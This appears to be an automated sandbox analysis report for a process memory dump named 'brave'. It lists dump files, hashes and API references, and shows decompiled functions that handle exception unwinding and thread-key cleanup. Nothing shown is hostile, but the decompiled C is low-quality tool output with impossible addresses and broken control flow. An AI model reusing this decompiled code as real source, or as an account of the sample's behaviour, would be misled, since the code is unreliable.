Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: AtomMutex$CloseCreateCurrentFindHandleObjectProcessReleaseSingleWait_onexit
String ID: __eh_shmem3_gcc_tdm_$aaaaaaaa$aaaaaaaa$failed to add string to atom table$failed to get string from atom$failed to to lock creation mutex
API String ID: 2382646235-4003979217
Opcode ID: eeefa348b6469097a2ce0c1b6ef4fcb7977b54c7f9b7813c6b328c0e60a68bab
Instruction ID: a140b21b3ba72bf9c97fa561b7bb2c5d8dd780b199d87e0913f36119d1d7c6c9
Opcode Fuzzy Hash: eeefa348b6469097a2ce0c1b6ef4fcb7977b54c7f9b7813c6b328c0e60a68bab
Instruction Fuzzy Hash: 11619C75F19A43D2EFB08B14E9052F427A0FF64B89F8A80B1C94DC67A5EEBCA505D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80FC40 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 129COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FF69F80FD13
abort.MSVCRT(?,?,?,?,?,?,00000000,00000001,?,?,00000060,?,00007FF69F8321C5), ref: 00007FF69F80FD19
RtlUnwindEx.KERNEL32 ref: 00007FF69F80FE2C

Strings

CCG , xrefs: 00007FF69F80FCAD
CCG!, xrefs: 00007FF69F80FD01
CCG", xrefs: 00007FF69F80FCA1
CCG!, xrefs: 00007FF69F80FC69

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: ExceptionRaiseUnwindabort
String ID: CCG $CCG!$CCG!$CCG"
API String ID: 4140830120-3707373406
Opcode ID: 5a5515d5399e8932a17ee12ba86523fad0d7272596fb782806b5c41e63c3ad30
Instruction ID: 2989a013e7735efc4e5e3fb0973bb66f7069c700765009da3af97a1085d4a00e
Opcode Fuzzy Hash: 5a5515d5399e8932a17ee12ba86523fad0d7272596fb782806b5c41e63c3ad30
Instruction Fuzzy Hash: AA517C32619B8086D7A08F55F8806AD73B4F789B98F648126EE8D83B58CF3DD491C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F812220 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 51
threadCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF67FF69F812220(void* __edi, void* __esp, void* __rbx, void* __rdi, void* __rsi, void* __rbp, void* __r12, void* __r13, void* __r14, void* __r15) {
				char _v14;
				short _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				long long _v72;
				long long _v80;
				char _v81;
				long long _v88;
				long long _v96;
				long long _v104;
				long long _v112;
				char _v120;
				void* _t206;
				signed int _t214;
				intOrPtr _t220;
				void* _t281;
				intOrPtr _t340;
				intOrPtr _t341;
				intOrPtr _t342;
				intOrPtr _t343;
				intOrPtr _t344;
				intOrPtr _t347;
				intOrPtr _t348;
				intOrPtr _t350;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t354;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t358;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t366;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t372;
				intOrPtr _t375;
				intOrPtr _t377;
				intOrPtr _t378;
				intOrPtr _t380;
				intOrPtr _t383;
				intOrPtr _t384;
				intOrPtr _t386;
				intOrPtr _t389;
				intOrPtr _t391;
				intOrPtr _t392;
				intOrPtr _t394;
				intOrPtr _t395;
				intOrPtr _t401;
				intOrPtr _t402;
				intOrPtr* _t405;
				void* _t406;
				void* _t412;
				intOrPtr* _t413;
				signed long long _t415;
				void* _t436;
				signed long long _t482;
				void* _t492;
				long long _t494;
				intOrPtr* _t496;
				intOrPtr* _t497;
				void* _t498;
				void* _t499;
				void* _t517;
				void* _t518;
				void* _t526;
				void* _t536;

				_t499 = _t498 - 0x98;
				_v120 = 0x6f727245;
				_v112 = 0x696e6165;
				_v104 = 0x70732070;
				_v96 = 0x20737965;
				_v88 = 0x65726874;
				_v80 = 0x20737965;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0;
				_v48 = 0;
				_v40 = 0;
				_v32 = 0;
				_v24 = 0;
				_v16 = 0;
				_v14 = 0;
				GetCurrentThreadId();
				r8d = 0xa;
				__imp___ultoa();
				if (_v81 == 0) goto 0x9f812332;
				goto 0x9f81230a;
				if (0x65726874 == 0x6b) goto 0x9f812327;
				if ( *((char*)( &_v120 + 0x65726874)) != 0) goto 0x9f812300;
				if (0 == 0x6a) goto 0x9f812327;
				 *((char*)(_t499 + 0x48)) = 0xa;
				 *((char*)(_t499 + 0x20646165726895)) = 0;
				OutputDebugStringA(??);
				abort();
				goto 0x9f81231b;
				asm("o16 nop [cs:eax+eax]");
				_t405 =  &_v120;
				E00007FF67FF69F810F00( &_v120);
				E00007FF67FF69F8104E0(0x2064616572687d);
				_t220 =  *_t405;
				if (_t220 != 0) goto 0x9f8123a0;
				E00007FF67FF69F812160();
				 *_t405 = 1;
				E00007FF67FF69F810800(0x2064616572687d);
				_pop(_t406);
				_pop(_t492);
				_pop(_t517);
				_pop(_t526);
				goto E00007FF67FF69F811110;
				if (_t220 == 1) goto 0x9f812382;
				 *0x9fab2c70();
				r9d = _t220;
				0x9f8216f8();
				goto 0x9f812382;
				asm("o16 nop [eax+eax]");
				_t496 =  *0x9fab6920; // 0x7ff69fac1400
				_t340 =  *_t496;
				if (_t340 == 0) goto 0x9f812518;
				if ( *((long long*)(_t340 + 0x60)) != 0) goto 0x9f812540;
				 *((long long*)(_t340 + 0x60)) = 0x9fab2bc8;
				E00007FF67FF69F8104E0(0x9fab2bc8);
				if ( *((intOrPtr*)(0x20646165726a4d)) != 0) goto 0x9f8125f0;
				if ( *0x206461657268C5 == 0) goto 0x9f812430;
				free(_t406);
				if ( *0x206461657268CD == 0) goto 0x9f81243e;
				free(_t492);
				if ( *0x206461657268D5 == 0) goto 0x9f81244c;
				free(__rdi);
				 *((long long*)(0x20646165726875)) = 0;
				 *((long long*)(0x20646165726a4d)) = 0;
				memset(__edi, 0, 2 << 0);
				_t341 =  *_t496;
				if (_t341 == 0) goto 0x9f812758;
				if ( *((long long*)(_t341 + 0x58)) != 0) goto 0x9f812550;
				 *((long long*)(_t341 + 0x58)) = 0x9fac13b0;
				if ( *0x9fac13b0 == 0) goto 0x9f81255e;
				if ( *((long long*)(_t341 + 0x58)) != 0) goto 0x9f8125c0;
				 *((long long*)(_t341 + 0x58)) = 0x9fac13b0;
				 *((long long*)( *0x9fac13b0 + 0x1d0)) = 0x20646165726875;
				if ( *((long long*)(_t341 + 0x58)) == 0) goto 0x9f8125e0;
				 *((long long*)( *((intOrPtr*)(_t341 + 0x58)))) = 0x20646165726875;
				if (_t341 == 0) goto 0x9f8125a3;
				_t214 = 0 |  *((long long*)(_t341 + 0x60)) != 0x00000000;
				if (_t214 == 0) goto 0x9f8125c9;
				if (_t341 == 0) goto 0x9f812a30;
				_pop(_t494);
				_t497 = _t517;
				_t518 = _t526;
				_pop(_t536);
				goto E00007FF67FF69F810800;
				E00007FF67FF69F817060();
				_t342 =  *_t497;
				if ( *((long long*)(_t341 + 0x60)) == 0) goto 0x9f812402;
				if (_t342 != 0) goto 0x9f812540;
				E00007FF67FF69F817060();
				asm("o16 nop [cs:eax+eax]");
				goto 0x9f81240d;
				if ( *((long long*)( *((intOrPtr*)(_t342 + 0x58)))) != 0) goto 0x9f8124a7;
				if ( *((long long*)(_t342 + 0x58)) != 0) goto 0x9f8126d8;
				 *((long long*)(_t342 + 0x58)) = 0x9fac13b0;
				 *0x9fac13b0 = _t494;
				if ((_t214 & 0xffffff00 |  *((long long*)(_t342 + 0x50)) != 0x00000000) == 0) goto 0x9f81280d;
				if (_t342 == 0) goto 0x9f812c8c;
				 *((long long*)( *((intOrPtr*)(_t342 + 0x50)))) =  *0x9fac13b0;
				if (_t342 != 0) goto 0x9f8124e2;
				E00007FF67FF69F817060();
				_t343 =  *_t497;
				goto 0x9f8124ea;
				goto 0x9f8124bd;
				 *((long long*)(_t343 + 0x60)) = 0x9fab2bc8;
				goto 0x9f8124ff;
				 *((long long*)(_t343 + 0x58)) = 0x9fac13b0;
				goto 0x9f8124d6;
				_t344 =  *_t497;
				if (_t344 == 0) goto 0x9f812a40;
				if ( *((long long*)(_t344 + 0x70)) != 0) goto 0x9f8126c8;
				 *((long long*)(_t344 + 0x70)) = 0x9fac13a0;
				if ( *0x9fac13a0 == 0) goto 0x9f812422;
				if ( *((long long*)( *_t497 + 0x70)) == 0) goto 0x9f812820;
				r12d = 0;
				goto 0x9f81266a;
				asm("o16 nop [cs:eax+eax]");
				if (0x9fac13b0 == _t518) goto 0x9f812422;
				if (0x7ff69fac13af - _t518 < 0) goto 0x9f812422;
				_t347 =  *_t497;
				if (_t347 == 0) goto 0x9f812708;
				if ( *((long long*)(_t347 + 0x68)) == 0) goto 0x9f8126e8;
				_t348 =  *_t497;
				_t482 = _t518 + 0x7ff69fac13af >> 1 << 4;
				if (_t536 ==  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t347 + 0x68)))) + _t482 + 8))) goto 0x9f812830;
				if (_t348 == 0) goto 0x9f812730;
				if ( *((long long*)(_t348 + 0x68)) == 0) goto 0x9f8126f8;
				_t350 =  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x68))));
				if (_t536 -  *((intOrPtr*)(_t350 + _t482 + 8)) < 0) goto 0x9f812650;
				goto 0x9f81265d;
				asm("o16 nop [eax+eax]");
				_t351 =  *((intOrPtr*)(_t350 + 0x70));
				goto 0x9f812616;
				goto 0x9f812574;
				 *((long long*)(_t351 + 0x68)) = 0x9fac13a8;
				goto 0x9f812689;
				 *((long long*)(_t351 + 0x68)) = 0x9fac13a8;
				goto 0x9f8126b2;
				E00007FF67FF69F817060();
				_t353 =  *_t497;
				if ( *0x7FF69FAC1410 == 0) goto 0x9f8126e8;
				if (_t353 != 0) goto 0x9f812681;
				E00007FF67FF69F817060();
				goto 0x9f812681;
				E00007FF67FF69F817060();
				_t354 =  *_t497;
				if ( *((long long*)(_t353 + 0x68)) == 0) goto 0x9f8126f8;
				if (_t354 != 0) goto 0x9f8126ae;
				E00007FF67FF69F817060();
				goto 0x9f8126ae;
				E00007FF67FF69F817060();
				_t355 =  *_t497;
				if ( *((long long*)(_t354 + 0x58)) == 0) goto 0x9f812492;
				if (_t355 != 0) goto 0x9f812550;
				E00007FF67FF69F817060();
				if ( *((long long*)( *((intOrPtr*)(_t355 + 0x58)))) == 0) goto 0x9f812aac;
				_t357 =  *_t497;
				if (_t357 != 0) goto 0x9f8124a7;
				E00007FF67FF69F817060();
				_t358 =  *_t497;
				if ( *((long long*)(_t357 + 0x58)) == 0) goto 0x9f8124b2;
				if (_t358 != 0) goto 0x9f8125c0;
				E00007FF67FF69F817060();
				_t359 =  *_t497;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t358 + 0x58)))) + 0x1d0)) = _t494;
				if (_t359 != 0) goto 0x9f8124c7;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t359 + 0x58)) == 0) goto 0x9f8125e0;
				if ( *_t497 != 0) goto 0x9f8124d2;
				E00007FF67FF69F817060();
				_t361 =  *_t497;
				goto 0x9f8124d6;
				 *((long long*)(_t361 + 0x50)) = 0x9fac13b8;
				goto 0x9f812594;
				 *((long long*)(_t361 + 0x70)) = 0x9fac13a0;
				goto 0x9f812633;
				if (_t361 == 0) goto 0x9f812c9e;
				if ( *((long long*)(_t361 + 0x68)) != 0) goto 0x9f812908;
				 *((long long*)(_t361 + 0x68)) = 0x9fac13a8;
				_t412 =  *((intOrPtr*)(_t351 + 0x58)) + 1;
				if ( *((long long*)(_t361 + 0x70)) != 0) goto 0x9f812b20;
				_t281 =  *0x9fac13a0 - _t412; // 0x1
				 *((long long*)(_t361 + 0x70)) = 0x9fac13a0;
				if (_t281 > 0) goto 0x9f812ba2;
				if ( *((long long*)(_t361 + 0x70)) != 0) goto 0x9f812a10;
				 *((long long*)(_t361 + 0x70)) = 0x9fac13a0;
				 *0x9fac13a0 =  *0x9fac13a0 - 1;
				if ( *((long long*)(_t361 + 0x70)) != 0) goto 0x9f812b10;
				 *((long long*)(_t361 + 0x70)) = 0x9fac13a0;
				if ( *0x9fac13a0 != 0) goto 0x9f812422;
				if ( *((long long*)(_t361 + 0x68)) == 0) goto 0x9f812c5b;
				free(??);
				_t363 =  *_t497;
				if (_t363 == 0) goto 0x9f812cb7;
				if ( *((long long*)(_t363 + 0x78)) == 0) goto 0x9f812c4b;
				_t413 =  *((intOrPtr*)(_t363 + 0x78));
				 *_t413 = 0;
				if ( *((long long*)(_t363 + 0x70)) == 0) goto 0x9f812c38;
				 *((long long*)( *((intOrPtr*)(_t363 + 0x70)))) =  *_t413;
				goto 0x9f812422;
				if ( *_t497 != 0) goto 0x9f81284f;
				E00007FF67FF69F817060();
				_t366 =  *_t497;
				if (_t366 != 0) goto 0x9f812853;
				E00007FF67FF69F817060();
				_t367 =  *_t497;
				if ( *((long long*)(_t366 + 0x70)) == 0) goto 0x9f81285e;
				if (_t367 != 0) goto 0x9f812b20;
				E00007FF67FF69F817060();
				_t369 =  *_t497;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t367 + 0x70)))) - _t413 + 1 <= 0) goto 0x9f812b80;
				if (_t369 != 0) goto 0x9f812b2d;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t369 + 0x70)) == 0) goto 0x9f812b34;
				if ( *_t497 != 0) goto 0x9f812ba2;
				E00007FF67FF69F817060();
				_t372 =  *_t497;
				if (_t372 != 0) goto 0x9f812b49;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t372 + 0x68)) == 0) goto 0x9f812c28;
				if ( *_t497 != 0) goto 0x9f812b54;
				E00007FF67FF69F817060();
				_t375 =  *_t497;
				if (_t375 != 0) goto 0x9f812c6e;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t375 + 0x68)) == 0) goto 0x9f812c79;
				if ( *_t497 != 0) goto 0x9f812b65;
				E00007FF67FF69F817060();
				goto 0x9f812b65;
				_t377 =  *_t497;
				if (_t377 == 0) goto 0x9f812ba8;
				goto 0x9f81288c;
				asm("o16 nop [cs:eax+eax]");
				E00007FF67FF69F817060();
				goto 0x9f8124fb;
				asm("o16 nop [eax+eax]");
				E00007FF67FF69F817060();
				_t378 =  *_t497;
				if ( *((long long*)(_t377 + 0x70)) == 0) goto 0x9f812608;
				if (_t378 != 0) goto 0x9f8126c8;
				E00007FF67FF69F817060();
				if ( *((long long*)( *((intOrPtr*)(_t378 + 0x70)))) == 0) goto 0x9f812422;
				_t380 =  *_t497;
				if (_t380 != 0) goto 0x9f812624;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t380 + 0x70)) == 0) goto 0x9f812820;
				if ( *_t497 != 0) goto 0x9f81262f;
				E00007FF67FF69F817060();
				goto 0x9f812633;
				_t383 =  *_t497;
				if (_t383 != 0) goto 0x9f81255e;
				E00007FF67FF69F817060();
				_t384 =  *_t497;
				if ( *((long long*)(_t383 + 0x58)) == 0) goto 0x9f812569;
				if (_t384 != 0) goto 0x9f8126d8;
				E00007FF67FF69F817060();
				_t415 =  *((intOrPtr*)(_t384 + 0x58));
				 *_t415 = _t494;
				if ( *_t497 != 0) goto 0x9f812577;
				E00007FF67FF69F817060();
				_t386 =  *_t497;
				goto 0x9f81257f;
				goto 0x9f8128a6;
				if (_t415 -  *((intOrPtr*)( *((intOrPtr*)(_t386 + 0x70)))) >= 0) goto 0x9f812876;
				if ( *((long long*)(_t386 + 0x70)) != 0) goto 0x9f812ba2;
				 *((long long*)(_t386 + 0x70)) = 0x9fac13a0;
				if ( *((long long*)(_t386 + 0x68)) == 0) goto 0x9f812c28;
				_t436 =  *((intOrPtr*)( *((intOrPtr*)(_t386 + 0x68)))) + (_t415 << 4) - 0x10;
				memcpy(??, ??, ??);
				_t389 =  *_t497;
				if (_t389 != 0) goto 0x9f812876;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t389 + 0x70)) != 0) goto 0x9f812a10;
				goto 0x9f812881;
				goto 0x9f812b3f;
				E00007FF67FF69F817060();
				_t391 =  *_t497;
				 *((long long*)( *((intOrPtr*)( *_t497 + 0x70)))) =  *((long long*)( *((intOrPtr*)( *_t497 + 0x70)))) - 1;
				if (_t391 != 0) goto 0x9f812890;
				E00007FF67FF69F817060();
				_t392 =  *_t497;
				if ( *((long long*)(_t391 + 0x70)) == 0) goto 0x9f81289b;
				if (_t392 != 0) goto 0x9f812b10;
				E00007FF67FF69F817060();
				if ( *((long long*)( *((intOrPtr*)(_t392 + 0x70)))) != 0) goto 0x9f812422;
				_t394 =  *_t497;
				if (_t394 != 0) goto 0x9f8128b0;
				E00007FF67FF69F817060();
				_t395 =  *_t497;
				if ( *((long long*)(_t394 + 0x68)) == 0) goto 0x9f812c5b;
				if (_t395 != 0) goto 0x9f8128bb;
				E00007FF67FF69F817060();
				goto 0x9f8128bb;
				 *((long long*)(_t395 + 0x68)) = 0x9fac13a8;
				goto 0x9f812b58;
				 *((long long*)(_t395 + 0x70)) = 0x9fac13a0;
				goto 0x9f8128f9;
				 *0x7FF69FAC1418 = 0x9fac1398;
				goto 0x9f8128e3;
				 *0x7FF69FAC1408 = 0x9fac13a8;
				goto 0x9f8128bf;
				if ( *((long long*)(0x7ff69fac1410)) != 0) goto 0x9f812b65;
				 *((long long*)(0x7ff69fac1410)) = 0x9fac13a8;
				goto 0x9f812b69;
				E00007FF67FF69F817060();
				goto 0x9f812594;
				E00007FF67FF69F817060();
				if ( *((long long*)( *_t497 + 0x68)) != 0) goto 0x9f812908;
				goto 0x9f812844;
				E00007FF67FF69F817060();
				_t401 =  *_t497;
				if ( *((long long*)( *_t497 + 0x78)) == 0) goto 0x9f812c4b;
				if (_t401 != 0) goto 0x9f8128df;
				E00007FF67FF69F817060();
				_t402 =  *_t497;
				 *((long long*)( *((intOrPtr*)(_t401 + 0x78)))) = 0;
				if (_t402 != 0) goto 0x9f8128ea;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t402 + 0x70)) == 0) goto 0x9f812c38;
				if ( *_t497 != 0) goto 0x9f8128f5;
				_t206 = E00007FF67FF69F817060();
				goto 0x9f8128f5;
				asm("o16 nop [eax+eax]");
				if (_t436 == 0) goto 0x9f812d2f;
				if ( *((long long*)(_t436 + 0x1d0)) == 0) goto 0x9f812d30;
				return _t206;
			}

0x7ff69f812220
0x7ff69f81223b
0x7ff69f81224a
0x7ff69f812259
0x7ff69f812268
0x7ff69f81226f
0x7ff69f812276
0x7ff69f81227b
0x7ff69f812284
0x7ff69f81228d
0x7ff69f812296
0x7ff69f81229f
0x7ff69f8122a8
0x7ff69f8122b1
0x7ff69f8122bd
0x7ff69f8122c5
0x7ff69f8122cd
0x7ff69f8122d8
0x7ff69f8122e0
0x7ff69f8122eb
0x7ff69f8122f7
0x7ff69f812308
0x7ff69f812311
0x7ff69f812316
0x7ff69f81231d
0x7ff69f812322
0x7ff69f812327
0x7ff69f81232d
0x7ff69f812341
0x7ff69f812343
0x7ff69f81235a
0x7ff69f81235d
0x7ff69f81236c
0x7ff69f812371
0x7ff69f812375
0x7ff69f812377
0x7ff69f81237c
0x7ff69f812385
0x7ff69f812391
0x7ff69f812392
0x7ff69f812393
0x7ff69f812395
0x7ff69f812397
0x7ff69f8123a3
0x7ff69f8123aa
0x7ff69f8123b0
0x7ff69f8123c0
0x7ff69f8123c5
0x7ff69f8123c7
0x7ff69f8123e0
0x7ff69f8123e7
0x7ff69f8123f1
0x7ff69f8123fc
0x7ff69f812409
0x7ff69f81240d
0x7ff69f81241c
0x7ff69f812429
0x7ff69f81242b
0x7ff69f812437
0x7ff69f812439
0x7ff69f812445
0x7ff69f812447
0x7ff69f812455
0x7ff69f81245c
0x7ff69f812477
0x7ff69f81247a
0x7ff69f812481
0x7ff69f81248c
0x7ff69f812499
0x7ff69f8124a1
0x7ff69f8124ac
0x7ff69f8124b9
0x7ff69f8124c0
0x7ff69f8124cc
0x7ff69f8124d6
0x7ff69f8124dc
0x7ff69f8124e7
0x7ff69f8124ec
0x7ff69f8124f5
0x7ff69f812504
0x7ff69f812506
0x7ff69f812507
0x7ff69f81250b
0x7ff69f81250f
0x7ff69f812518
0x7ff69f812522
0x7ff69f812526
0x7ff69f81252f
0x7ff69f812531
0x7ff69f812536
0x7ff69f812544
0x7ff69f812558
0x7ff69f812563
0x7ff69f812570
0x7ff69f812574
0x7ff69f812581
0x7ff69f81258a
0x7ff69f812597
0x7ff69f81259d
0x7ff69f8125a3
0x7ff69f8125ad
0x7ff69f8125b4
0x7ff69f8125c4
0x7ff69f8125d0
0x7ff69f8125d4
0x7ff69f8125e7
0x7ff69f8125eb
0x7ff69f8125f0
0x7ff69f8125f7
0x7ff69f812602
0x7ff69f81260f
0x7ff69f81261a
0x7ff69f812629
0x7ff69f812636
0x7ff69f812644
0x7ff69f812646
0x7ff69f812653
0x7ff69f812660
0x7ff69f812666
0x7ff69f812674
0x7ff69f81267f
0x7ff69f812685
0x7ff69f81268f
0x7ff69f812698
0x7ff69f8126a1
0x7ff69f8126ac
0x7ff69f8126b2
0x7ff69f8126ba
0x7ff69f8126c0
0x7ff69f8126c2
0x7ff69f8126c8
0x7ff69f8126cc
0x7ff69f8126dc
0x7ff69f8126e8
0x7ff69f8126ef
0x7ff69f8126f8
0x7ff69f8126ff
0x7ff69f812708
0x7ff69f812712
0x7ff69f812716
0x7ff69f81271b
0x7ff69f812721
0x7ff69f812726
0x7ff69f812730
0x7ff69f81273a
0x7ff69f81273e
0x7ff69f812743
0x7ff69f812749
0x7ff69f81274e
0x7ff69f812758
0x7ff69f812760
0x7ff69f812769
0x7ff69f812772
0x7ff69f812778
0x7ff69f812785
0x7ff69f81278b
0x7ff69f812792
0x7ff69f812798
0x7ff69f8127a0
0x7ff69f8127a9
0x7ff69f8127b2
0x7ff69f8127b8
0x7ff69f8127c0
0x7ff69f8127cb
0x7ff69f8127d5
0x7ff69f8127db
0x7ff69f8127ec
0x7ff69f8127f5
0x7ff69f8127fb
0x7ff69f812804
0x7ff69f812808
0x7ff69f812814
0x7ff69f812818
0x7ff69f812827
0x7ff69f81282b
0x7ff69f812833
0x7ff69f81283e
0x7ff69f81284b
0x7ff69f81284f
0x7ff69f812858
0x7ff69f812865
0x7ff69f81286c
0x7ff69f812870
0x7ff69f81287b
0x7ff69f812888
0x7ff69f81288c
0x7ff69f812895
0x7ff69f8128a2
0x7ff69f8128aa
0x7ff69f8128b5
0x7ff69f8128c2
0x7ff69f8128c7
0x7ff69f8128ce
0x7ff69f8128d9
0x7ff69f8128df
0x7ff69f8128e3
0x7ff69f8128ef
0x7ff69f8128fc
0x7ff69f8128ff
0x7ff69f81290f
0x7ff69f812915
0x7ff69f81291a
0x7ff69f812925
0x7ff69f81292b
0x7ff69f812935
0x7ff69f812939
0x7ff69f812942
0x7ff69f812948
0x7ff69f812954
0x7ff69f812958
0x7ff69f812968
0x7ff69f81296e
0x7ff69f81297c
0x7ff69f812985
0x7ff69f81298b
0x7ff69f812997
0x7ff69f8129a5
0x7ff69f8129ab
0x7ff69f8129b9
0x7ff69f8129c2
0x7ff69f8129c8
0x7ff69f8129d4
0x7ff69f8129de
0x7ff69f8129e4
0x7ff69f8129f2
0x7ff69f8129fb
0x7ff69f812a01
0x7ff69f812a06
0x7ff69f812a10
0x7ff69f812a17
0x7ff69f812a21
0x7ff69f812a26
0x7ff69f812a30
0x7ff69f812a35
0x7ff69f812a3a
0x7ff69f812a40
0x7ff69f812a4a
0x7ff69f812a4e
0x7ff69f812a57
0x7ff69f812a5d
0x7ff69f812a6a
0x7ff69f812a70
0x7ff69f812a77
0x7ff69f812a7d
0x7ff69f812a8b
0x7ff69f812a94
0x7ff69f812a9a
0x7ff69f812aa7
0x7ff69f812aac
0x7ff69f812ab3
0x7ff69f812ab9
0x7ff69f812ac1
0x7ff69f812aca
0x7ff69f812ad3
0x7ff69f812ad9
0x7ff69f812ade
0x7ff69f812ae6
0x7ff69f812aec
0x7ff69f812af2
0x7ff69f812afc
0x7ff69f812b03
0x7ff69f812b14
0x7ff69f812b27
0x7ff69f812b32
0x7ff69f812b3b
0x7ff69f812b4e
0x7ff69f812b72
0x7ff69f812b77
0x7ff69f812b7c
0x7ff69f812b83
0x7ff69f812b89
0x7ff69f812b93
0x7ff69f812b9d
0x7ff69f812ba6
0x7ff69f812ba8
0x7ff69f812bb1
0x7ff69f812bb5
0x7ff69f812bbc
0x7ff69f812bc2
0x7ff69f812bca
0x7ff69f812bd3
0x7ff69f812bdc
0x7ff69f812be2
0x7ff69f812bef
0x7ff69f812bf5
0x7ff69f812bfc
0x7ff69f812c02
0x7ff69f812c0a
0x7ff69f812c13
0x7ff69f812c18
0x7ff69f812c1e
0x7ff69f812c23
0x7ff69f812c2f
0x7ff69f812c33
0x7ff69f812c3f
0x7ff69f812c46
0x7ff69f812c52
0x7ff69f812c56
0x7ff69f812c62
0x7ff69f812c69
0x7ff69f812c73
0x7ff69f812c80
0x7ff69f812c87
0x7ff69f812c8c
0x7ff69f812c99
0x7ff69f812c9e
0x7ff69f812ca8
0x7ff69f812cb2
0x7ff69f812cb7
0x7ff69f812cbf
0x7ff69f812cc8
0x7ff69f812ccd
0x7ff69f812cd3
0x7ff69f812cdc
0x7ff69f812ce0
0x7ff69f812cea
0x7ff69f812cf0
0x7ff69f812d01
0x7ff69f812d0a
0x7ff69f812d10
0x7ff69f812d15
0x7ff69f812d1a
0x7ff69f812d23
0x7ff69f812d2d
0x7ff69f812d2f

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF69F8122CD
_ultoa.MSVCRT ref: 00007FF69F8122E0
OutputDebugStringA.KERNEL32 ref: 00007FF69F812327
abort.MSVCRT ref: 00007FF69F81232D

Strings

eys for , xrefs: 00007FF69F81224F
Error cl, xrefs: 00007FF69F812227
p spin_k, xrefs: 00007FF69F812240
eaning u, xrefs: 00007FF69F812231
thread , xrefs: 00007FF69F81225E

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

